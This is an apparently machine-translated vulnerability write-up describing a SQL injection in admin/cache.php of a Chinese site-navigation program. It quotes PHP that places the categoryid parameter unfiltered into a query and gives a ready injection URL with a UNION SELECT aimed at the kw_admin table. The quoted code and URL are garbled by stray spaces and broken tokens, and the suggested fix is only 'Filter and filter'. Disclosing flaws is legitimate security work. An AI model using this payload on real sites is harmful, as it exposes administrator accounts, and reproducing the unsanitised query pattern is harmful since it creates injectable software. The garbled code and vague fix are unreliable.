Corwe web site navigation SQL injection vulnerability and repair solution

Mind

Affected Versions: Latest
Http://www.kewei8.com

Vulnerability Type: SQL Injection
Vulnerability description:

Take a few minutes to find the vulnerability.
The web site navigation is the same as the program file in the box navigation. The interface is different.
Classic dialogue... view code...
Admin/cache. php

<? Php session_start (); set_time_limit (0); error_reporting (E_ALL | E_NOTICE); define (ROOT, dirname ($ _ SERVER [SCRIPT_FILENAME]). /); require_once ROOT. include/smarty_inc.php; require_once ROOT. include/mysql_inc.php; require_once ROOT. include/config_inc.php; $ db = new db_mysql (); $ db-> connect ($ dbhost, $ dbuser, $ dbpwd, $ dbname); $ type =! Empty ($ _ GET [type])? Trim ($ _ GET [type]): ""; // prelude... $ DefaultSkin = $ db-> select ("SELECT * FROM '". $ dbprefix. "_ option 'where 'name' = DefaultSkin"); $ DefaultSkin = $ DefaultSkin [0] [Value]; if ($ type = "category") {$ categoryid =! Empty ($ _ GET [categoryid])? Trim ($ _ GET [categoryid]): ""; // No filter .......... $ temp = $ db-> select ("SELECT * FROM '". $ dbprefix. "_ category 'where'id' = ". $ categoryid); // It's dead here ............ $ Templates-> assign ("name", $ temp [0] [Name]); $ templates-> assign ("id", $ temp [0] [ID]); $ templates-> display (ROOT. "templates /". $ defaskskin. "/category. tpl ");} else {$ templates-> display (ROOT. "templates /". $ defaskskin. "/index. tpl ") ;}?> A classic injection vulnerability ....
 

Injection test:

Http: // 127.0.0.1/admin/cache. php? Type = category & categoryid = 1% 20and % 201 = 2% 20 union % 20 select %, 10, Name % 20 from % 20kw_admin

Solution: Filter and filter